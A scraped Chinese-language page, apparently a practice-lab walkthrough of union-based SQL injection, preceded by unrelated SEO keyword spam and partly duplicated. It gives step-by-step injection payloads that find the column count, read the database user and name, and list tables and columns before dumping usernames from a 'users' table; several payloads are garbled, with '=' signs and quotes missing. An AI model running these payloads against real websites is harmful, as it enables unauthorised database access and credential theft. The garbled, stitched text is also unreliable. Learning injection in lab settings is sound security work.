平台网站做等级保护测评,百度网站下拉怎么做的,镇江市官网,网站的搜索功能怎么做0、初始网页 1、闭合方式判断
闭合符号为单引号#xff0c;通过测试发现过滤了注释#xff0c;所以直接闭合 2、确定查询表的列数
确定查询表的列数为3列
?id1 order by 3 3、确定回显位置
回显位置为第二列和第三列
?id-1 union select 1,2,3 4、查看当前登录和数据… 0、初始网页 1、闭合方式判断
闭合符号为单引号通过测试发现过滤了注释所以直接闭合 2、确定查询表的列数
确定查询表的列数为3列
?id1 order by 3 3、确定回显位置
回显位置为第二列和第三列
?id-1 union select 1,2,3 4、查看当前登录和数据库
?id-1 union select 1,user(),database() 5、查询当前数据库下的表名
?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity 6、查询user表中的列名
?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema security and table_nameusers 7、查询最终的账号密码
?id-1 union select 1,group_concat(username),3 from users where 11 and 11
